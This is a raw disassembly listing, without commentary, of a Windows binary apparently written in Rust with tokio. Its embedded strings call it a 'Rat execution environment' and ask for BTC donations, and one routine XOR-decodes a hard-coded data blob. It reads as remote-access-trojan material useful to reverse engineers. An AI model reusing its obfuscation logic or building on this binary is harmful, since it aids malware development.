mov word [rax + 0x44], 0x8001
mov r14, qword [rsp + 0x40]
movzx eax, byte [r14 + 0x160]
test eax, eax
je 0x140057abd
cmp eax, 3
jne 0x140058cb5
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
test eax, eax
je 0x140057bfb
cmp eax, 3
jne 0x140058cc1
cmp dword [rdi], 2
jne 0x140057cbd
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x140058c2c
mov qword [rsp + 0x310], 3
mov qword [rsp + 0x318], rax
mov r8d, 0x88
mov rcx, r13
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
jmp 0x140057d2e
mov byte [rsp + 0xa0], 2
mov r14, qword [rsp + 0x40]
movzx eax, byte [r14 + 0x160]
test eax, eax
jne 0x140057a2b
lea rax, [0x14017fbd0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
movups xmmword [rsp + 0x110], xmm6
lea rsi, [rsp + 0xf8]
mov rcx, rsi
call fcn.1401197f0
mov qword [rsp + 0xf8], 0
mov rcx, rsi
call sub.kernel32.dll_GetSystemTimePreciseAsFileTime
mov r8, qword [rsp + 0xf8]
movabs rax, 0xfe624e212ac18000
add rax, r8
movabs r9, 0x19db1ded53e8000
mov rcx, r9
sub rcx, r8
cmovle rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul rax, rdx, 0x989680
sub rcx, rax
imul rax, rcx, 0x1a36e3
shr rax, 0x22
imul rcx, rdx, 0x3e8
add rcx, rax
cmp r9, r8
mov eax, 0
cmovle rax, rcx
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], 0
mov qword [rsp + 0x448], rbp
lea rax, [0x14000ce40]
mov qword [rsp + 0x450], rax
lea rax, str.Time:
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], 1
mov rcx, rsi
call fcn.1401197f0
mov ecx, 5
call fcn.140114990
mov rax, qword [rsp + 0x98]
mov byte [rax], 0
lea rsi, [rsp + 0xf8]
mov rcx, rsi
call fcn.1400a25a0
mov rcx, rsi
call fcn.1400a2920
test al, 1
jne 0x140058b7a
mov qword [r14], rdx
mov rcx, rbp
lea r8, str.https:__www.virustotal.com_gui_home_uploadThis_is_the_Rat_execution_environment._If_the_runtime_cannot_detect_a_virus__please_consider_donating_to_the_BTC_address:_34n6Kkci3YYqGvsdHdpciSdEELb2MsDUMU._n2
call fcn.140054f00
cmp dword [rsp + 0x310], 2
jne 0x140057c70
mov qword [rsp + 0xf8], 2
mov rax, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x420]
mov qword [rsp + 0x100], rax
lock dec qword [rsi]
je 0x140057c91
jmp 0x140057c9e
mov rsi, qword [rsp + 0x420]
lea rcx, [rsp + 0xf8]
mov rdx, rsi
mov r8, rbp
call fcn.1400a6800
lock dec qword [rsi]
jne 0x140057c9e
mov rcx, qword [rsp + 0x420]
call fcn.1400bb6d0
mov r8d, 0x150
mov rcx, rdi
lea rdx, [rsp + 0xf8]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp dword [rdi], 2
je 0x140057a59
mov rcx, rbp
mov rdx, rdi
lea r8, [rsp + 0x2a8]
call fcn.14009de00
cmp qword [rsp + 0x310], 4
jne 0x140057d10
mov rax, qword [rsp + 0x98]
mov byte [rax], 3
mov al, 3
mov sil, 1
movzx ebx, byte [rsp + 0xa0]
mov byte [r14 + 0x160], al
cmp bl, 2
jne 0x14005857a
jmp 0x140058592
mov rsi, qword [rdi]
mov r8d, 0x88
mov rcx, r13
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rsi, 2
jne 0x140058180
mov r14, qword [r14 + 0x10]
test r14, r14
je 0x140057db4
mov rsi, qword [r14 + 0x58]
test rsi, rsi
je 0x140057d75
mov rdi, qword [r14 + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x140057d51
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140057d75
cmp qword [rdi + 0x10], 0x11
jb 0x140057d63
mov rsi, qword [rsi - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [r14]
lea rcx, [r12 - 1]
cmp rax, rcx
je 0x140057d9d
test rax, rax
je 0x140057d9d
mov rsi, qword [r14 + 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x38]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
cmp dword [rsp + 0x448], 3
jne 0x140057e10
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], 8
movups xmmword [rsp + 0x328], xmm6
mov rcx, rbp
call fcn.1401197f0
mov ecx, 3
call fcn.140114990
mov rcx, r13
call fcn.140052360
mov r14, qword [rsp + 0x40]
mov rdx, qword [r14]
jmp 0x140057c1e
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], 8
movups xmmword [rsp + 0x328], xmm6
mov rcx, rbp
call fcn.1401197f0
mov rcx, r13
call fcn.140052360
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140057e5e
mov rcx, qword [rcx]
call fcn.1400bb6d0
mov rax, qword [rsp + 0x98]
mov byte [rax], 1
lea rax, [0x140171f12]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0xf8]
mov rcx, qword [rsp + 0xf8]
mov dword [rsp + 0xf8], 0xb68f941e
mov edx, dword [rsp + 0xf8]
call fcn.140055790
mov rsi, qword [rax]
mov r14, qword [rax + 8]
mov r13, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rbp, qword [rax + 0x20]
mov r12, qword [rax + 0x28]
mov r15, qword [rax + 0x30]
mov edi, dword [rax + 0x38]
movzx eax, byte [rax + 0x3c]
mov byte [rsp + 0x48], al
movzx eax, byte [0x1401aa178]
mov edx, 0x3d
xor ecx, ecx
call fcn.14011ab20
test rax, rax
je 0x140058c44
mov rdx, rax
movabs rax, 0x86b296402d08c48c
xor rsi, rax
mov qword [rdx], rsi
movabs rax, 0x5e8b87325b2573dd
xor r14, rax
mov qword [rdx + 8], r14
movabs rax, 0x212cd087e3d7d084
xor r13, rax
mov qword [rdx + 0x10], r13
movabs rax, 0x4ba50cc2dcb1ce39
xor rbx, rax
mov qword [rdx + 0x18], rbx
movabs rax, 0x57ef6234ad9a025c
xor rbp, rax
mov qword [rdx + 0x20], rbp
movabs rax, 0xdaaa52b1ce9e43e0
xor r12, rax
mov qword [rdx + 0x28], r12
xor edi, 0x168979ea
movabs rax, 0x80c0a6a08f7b632f
xor r15, rax
mov qword [rdx + 0x30], r15
mov eax, edi
mov byte [rdx + 0x38], dil
shr edi, 0x18
mov byte [rdx + 0x3b], dil
shr eax, 8
mov word [rdx + 0x39], ax
movzx eax, byte [rsp + 0x48]
xor al, 0x30
mov byte [rdx + 0x3c], al
mov r8d, 0x3d
lea rsi, [0x14017fc5d]
mov rcx, rsi
mov rdi, rdx
call fcn.1400557d0
mov r8d, 0xb
lea rcx, [rsp + 0xf8]
mov rdx, rsi
call fcn.140110f40
mov rbp, qword [rsp + 0xf8]
movabs r12, 0x8000000000000001
lea rsi, [r12 - 1]
cmp rbp, rsi
jne 0x140058000
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
lea r13, [rsp + 0x448]
lea r15, [0x14017faf8]
mov r14, qword [rsp + 0x40]
jmp 0x14005815d
mov qword [rsp + 0x48], rdi
mov r15, qword [rsp + 0x100]
mov r8, qword [rsp + 0x108]
movzx eax, byte [rsp + 0x110]
test al, 1
lea r13, [rsp + 0x448]
jne 0x1400580e0
test r8, r8
je 0x1400580e0
movzx ecx, byte [rsp + 0x117]
shl ecx, 0x10
movzx edx, word [rsp + 0x115]
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rsp + 0x111]
or rcx, rdx
lea rdx, [r15 + r8]
mov r10, r15
jmp 0x140058078
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop dword [rax]
mov r10, r9
cmp r9, rdx
je 0x1400580e0
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x140058070
cmp r11b, 0xe0
jb 0x140058062
cmp r11b, 0xed
jne 0x1400580b3
cmp r9, rdx
je 0x1400580e0
lea r9, [r10 + 2]
cmp r9, rdx
je 0x1400580e0
cmp byte [r10 + 1], 0x9f
ja 0x1400587f4
add r10, 3
mov r9, r10
jmp 0x140058070
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x140058070
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x140058070
mov qword [rsp + 0x318], rbp
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x328], r8
mov qword [rsp + 0x310], r12
mov rcx, r13
mov rdx, r15
call fcn.140003a70
mov rdi, qword [rsp + 0x448]
cmp rdi, rsi
jne 0x1400583f0
mov ecx, 5
call fcn.140114990
test rbp, rbp
mov r14, qword [rsp + 0x40]
je 0x140058142
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x48]
call sub.kernel32.dll_HeapFree
lea r15, [0x14017faf8]
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x98]
mov byte [rax], 0
lea rbp, [rsp + 0x310]
jmp 0x140057bfb
cmp byte [r14 + 0x110], 0xa
jb 0x1400581ad
cmp qword [r14 + 0x120], 0
je 0x1400581ad
mov rsi, qword [r14 + 0x118]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [r14 + 0x90], 0
je 0x1400581d0
mov rsi, qword [r14 + 0x98]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [r14 + 0x80], 0
je 0x1400581f0
mov rsi, qword [r14 + 0x78]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x140058250
mov rsi, qword [r14 + 0x50]
add rsi, 0x30
jmp 0x14005822b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x20]
add rsi, 0x68
dec rdi
je 0x140058250
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140058210
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x20]
jmp 0x140058210
cmp qword [r14 + 0x48], 0
je 0x14005826d
mov rsi, qword [r14 + 0x50]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x14005829b
mov rsi, qword [r14 + 0x68]
add rsi, 0x38
nop
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x20]
add rsi, 0x48
dec rdi
jne 0x140058280
cmp qword [r14 + 0x60], 0
je 0x1400582b8
mov rsi, qword [r14 + 0x68]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400582df
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x1400582df
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rsp + 0x438]
call qword [rax + 0x20]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x140058330
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x140058309
add rbx, 0x58
dec rdi
je 0x140058330
cmp qword [rbx - 8], 0
je 0x140058300
mov rsi, qword [rbx]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x140058300
cmp qword [r14 + 0xe8], 0
je 0x140058353
mov rsi, qword [r14 + 0xf0]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [r14 + 0x128]
lock dec qword [rax]
jne 0x14005836c
mov rcx, qword [r14 + 0x128]
call fcn.1400bb6d0
mov rsi, qword [r14 + 0x130]
mov rdi, qword [r14 + 0x138]
mov rax, qword [rdi]
test rax, rax
je 0x140058387
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x1400583ab
cmp qword [rdi + 0x10], 0x11
jb 0x140058399
mov rsi, qword [rsi - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rsi, qword [r14 + 0x148]
test rsi, rsi
mov rdi, qword [rsp + 0x38]
je 0x140058789
mov rcx, rsi
call fcn.140125830
test byte [rsi], 1
je 0x14005874d
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140058760
mov rcx, qword [rsi + 8]
call fcn.140128500
jmp 0x140058760
mov rbx, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x440], rax
call fcn.140003f40
call fcn.140001bd0
mov rsi, rax
and eax, 3
cmp eax, 1
mov r14, qword [rsp + 0x40]
jne 0x14005848b
mov qword [rsp + 0x430], rbx
mov r12, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14005843f
mov rcx, r12
call rax
cmp qword [rbx + 8], 0
je 0x140058464
cmp qword [rbx + 0x10], 0x11
jb 0x140058452
mov r12, qword [r12 - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
dec rsi
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
movabs r12, 0x8000000000000001
mov rbx, qword [rsp + 0x430]
lea rcx, [rsp + 0xf8]
call fcn.140001f80
cmp qword [rsp + 0xf8], 0
je 0x1400584b6
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x1400584b6
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.140114990
call fcn.140004df0
lea rax, [0x14017faf8]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
movups xmmword [rsp + 0x110], xmm6
lea rcx, [rsp + 0xf8]
call fcn.1401197f0
mov rcx, rbx
mov rdx, qword [rsp + 0x440]
call fcn.1400018c0
test rdi, rdi
je 0x140058528
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
test rbp, rbp
movzx ebx, byte [rsp + 0xa0]
je 0x140058547
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
call sub.kernel32.dll_GetProcessHeap
xor esi, esi
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x48]
call sub.kernel32.dll_HeapFree
mov al, 1
lea r15, [0x14017faf8]
lea rbp, [rsp + 0x310]
mov byte [r14 + 0x160], al
cmp bl, 2
je 0x140058592
call fcn.140124870
test rax, rax
je 0x140058592
mov byte [rax + 0x44], bl
movzx ecx, byte [rsp + 0xc0]
mov byte [rax + 0x45], cl
cmp qword [rsp + 0x60], 0
mov rax, qword [rsp + 0xb0]
jne 0x140058b6e
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x68], 0
test r14, r14
je 0x140058d11
mov qword [rsp + 0x60], 0
test sil, sil
je 0x14005894e
mov r8, qword [rsp + 0x58]
mov edi, dword [r8 + 0x60]
test edi, edi
je 0x140057980
nop dword [rax]
cmp byte [r14 + 0x68], 0
jne 0x14005888d
inc dword [r14 + 0x60]
mov rdx, qword [rsp + 0x58]
add rdx, 0x10
mov rcx, r14
call fcn.14011f3c0
test rax, rax
je 0x1400586f0
cmp qword [rsp + 0x60], 0
jne 0x140058b62
mov rsi, rax
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140058650
call fcn.140055a10
mov rax, qword [rsp + 0x60]
inc rax
jmp 0x140058652
xor eax, eax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rax
call fcn.140124870
test rax, rax
je 0x140058680
movzx ebx, byte [rax + 0x44]
movzx ebp, byte [rax + 0x45]
mov word [rax + 0x44], 0x8001
jmp 0x140058682
mov bl, 2
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax]
cmp bl, 2
je 0x1400586a1
call fcn.140124870
test rax, rax
je 0x1400586a1
mov byte [rax + 0x44], bl
mov byte [rax + 0x45], bpl
cmp qword [rsp + 0x60], 0
jne 0x140058b6e
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x68], 0
test r14, r14
je 0x140058d11
mov qword [rsp + 0x60], 0
dec edi
lea rbp, [rsp + 0x310]
jne 0x1400585f0
mov r8, qword [rsp + 0x58]
jmp 0x140057980
mov rax, qword [rsp + 0xb8]
cmp qword [rsp + 0x70], rax
jae 0x140058ea5
mov r8, qword [rsp + 0x58]
add r8, 0x10
cmp qword [rsp + 0x88], 0
mov rdi, qword [rsp + 0x38]
lea rcx, [rsp + 0x58]
mov rdx, r14
je 0x14005872b
call fcn.14011fb30
jmp 0x140058730
call fcn.14011f5e0
mov r14, rax
mov rax, qword [rsp + 0x58]
xor ecx, ecx
xchg byte [rax + 0xd8], cl
test cl, cl
jne 0x1400579ae
jmp 0x1400585d8
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140058760
mov rcx, qword [rsi + 8]
call fcn.1401283c0
cmp qword [rsi + 0x20], 0
je 0x140058777
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x140058777
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov r14, qword [r14 + 0x150]
test r14, r14
je 0x140057db4
mov rcx, r14
call fcn.140125830
test byte [r14], 1
je 0x1400587bc
mov rax, qword [r14 + 8]
lock dec qword [rax]
jne 0x1400587d0
mov rcx, qword [r14 + 8]
call fcn.140128500
jmp 0x1400587d0
mov rax, qword [r14 + 8]
lock dec qword [rax]
jne 0x1400587d0
mov rcx, qword [r14 + 8]
call fcn.1401283c0
nop
cmp qword [r14 + 0x20], 0
je 0x140057da2
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x140057da2
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
jmp 0x140057da2
shl rcx, 8
or rcx, rax
mov qword [rsp + 0x310], rbp
mov qword [rsp + 0x318], r15
mov qword [rsp + 0x320], r8
mov qword [rsp + 0x328], rcx
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x48]
call sub.kernel32.dll_HeapFree
mov rax, rbp
neg rax
lea r15, [0x14017faf8]
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
jo 0x140058162
lea rax, [rsp + 0x310]
cmp rbp, r12
jne 0x140058869
mov rbp, qword [rsp + 0x318]
lea rax, [rsp + 0x318]
test rbp, rbp
je 0x140058162
mov rsi, qword [rax + 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x140058162
cmp qword [rsp + 0x60], 0
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa8]
mov qword [rax + 0x28], rcx
jne 0x140058ca9
xor ebx, ebx
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140058973
call fcn.140055a10
mov rax, qword [rsp + 0x60]
inc rax
jmp 0x140058975
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x310], r13
lea rax, [fcn.140009ae0]
mov qword [rsp + 0x318], rax
lea rax, [0x140191cb0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x118], 0
lea rax, [rsp + 0x310]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0xf8]
call fcn.140009c00
mov rcx, qword [rsp + 0xa8]
mov qword [rax + 0x28], rcx
mov bl, 1
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
test rcx, rcx
jne 0x1400588c6
xor eax, eax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
call fcn.14011eed0
test byte [rsp + 0x50], 1
je 0x140058a30
mov rax, qword [rsp + 0x58]
lock dec qword [rax]
jne 0x1400589a9
mov rcx, qword [rsp + 0x58]
call fcn.140128d30
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x140058a54
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400589e6
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140058ccd
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400589e6
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.140056370
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x140058a04
mov rcx, qword [rdi]
call fcn.140128710
mov rax, qword [rsi + 8]
test rax, rax
je 0x140058a1c
lock dec qword [rax]
jne 0x140058a1c
mov rcx, qword [rsi + 8]
call fcn.140128760
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x140058a54
mov rax, qword [rsp + 0x58]
lock dec qword [rax]
jne 0x140058a45
mov rcx, qword [rsp + 0x58]
call fcn.1401283c0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140058a54
call fcn.140055a10
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x140058a83
mov rdi, qword [rsp + 0x80]
add rdi, 8
nop dword [rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x140058a70
cmp qword [rsp + 0x78], 0
je 0x140058aa5
mov rsi, qword [rsp + 0x80]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
test bl, bl
je 0x140058e5f
movsd xmm6, qword [rsp + 0xf0]
call fcn.140124870
test rax, rax
je 0x140058e33
cmp byte [rax + 0x46], 2
je 0x140058db5
mov byte [rax + 0x46], 2
cmp dword [rax + 0x38], 0
jne 0x140058ae3
mov rsi, rax
call fcn.14012a0d0
mov rax, rsi
mov dword [rax + 0x38], 1
movlps qword [rax + 0x3c], xmm6
lea rcx, [rsp + 0xd8]
call fcn.14011d6c0
mov rax, qword [rsp + 0xd8]
cmp rax, 2
je 0x140058b46
test rax, rax
je 0x140058b2b
mov rax, qword [rsp + 0xe0]
lock dec qword [rax]
jne 0x140058b46
mov rcx, qword [rsp + 0xe0]
call fcn.140128500
jmp 0x140058b46
mov rax, qword [rsp + 0xe0]
lock dec qword [rax]
jne 0x140058b46
mov rcx, qword [rsp + 0xe0]
call fcn.1401283c0
movaps xmm6, xmmword [rsp + 0x4d0]
add rsp, 0x4e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140192100]
call fcn.14000b3b0
lea rcx, [0x1401920e8]
call fcn.14000b3b0
mov qword [rsp + 0xf8], rdx
lea rax, [0x1401841e0]
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140183920]
lea r8, [rsp + 0xf8]
mov edx, 0xd
call fcn.14000bd90
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtimecontextcurrent.rs
call fcn.14000b3b0
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0xf8]
call fcn.140009c00
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueassertion_failed:_self.is_char_boundary_idx_
lea r9, [0x140193a50]
lea r8, [rsp + 0xf8]
mov edx, 0x2b
call fcn.14000bd90
lea rcx, str.Pending_error_polled_more_than_once
lea r8, [0x1401842e0]
mov edx, 0x23
call fcn.14000cb80
lea r8, str.C:UsersUser.rustup_toolchains_nightly_x86_64_pc_windows_gnulib_rustlib_src_rustlibrary_alloc_src_slice.rs
mov ecx, 1
mov edx, 0x3d
call fcn.140006e11
lea rcx, [0x1401aa120]
call fcn.1400edca0
mov ecx, eax
call sub.kernel32.dll_TlsGetValue
cmp rax, 2
ja 0x1400577e5
mov rcx, rax
call fcn.140113ea0
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rdx
test rax, rax
jne 0x14005784a
jmp 0x14005785d
lea rcx, [0x140192180]
call fcn.14000b3b0
lea rcx, [0x140192168]
call fcn.14000b3b0
lea rcx, str.srcmain.rs
call fcn.14000faf0
lea rcx, str.srcmain.rs
call fcn.14000faf0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140191858]
mov edx, 0x27
call fcn.14000a990
lea rax, [0x140186b90]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140193a50]
lea r8, [rsp + 0xf8]
mov edx, 0x1b
call fcn.14000bd90
lea rcx, str.core_missing
lea r8, [0x1401920d0]
mov edx, 0xc
call fcn.14000cb80
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
lea rdx, str.srcmain.rs
lea rcx, [rsp + 0xf8]
call fcn.140009c00
lea rax, str.not_a_CurrentThread_handle
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtime_schedulermod.rs
lea rcx, [rsp + 0xf8]
call fcn.140009c00
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtimecontext_runtime.rs
lea r8, [0x140191f78]
mov edx, 0x2e
call fcn.14000a990
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
lea rdx, [0x140192138]
lea rcx, [rsp + 0xf8]
call fcn.140009c00
lea rcx, str.core_missing
lea r8, [0x140192150]
mov edx, 0xc
call fcn.14000cb80
mov rcx, r14
call fcn.140055a10
lea rax, [0x140193b30]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destructionC:UsersUser.rustup_toolchains_nightly_x86_64_pc_windows_gnulib_rustlib_src_rustlibrary_std_src_threadlocal.rs
lea r9, [0x140193a50]
lea r8, [rsp + 0xf8]
mov edx, 0x46
call fcn.14000bd90
lea rax, [0x140184e98]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
lea rdx, [0x140186b58]
lea rcx, [rsp + 0xf8]
call fcn.140009c00
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.41.1_src_runtime_schedulerdefer.rs
call fcn.14000b410
int3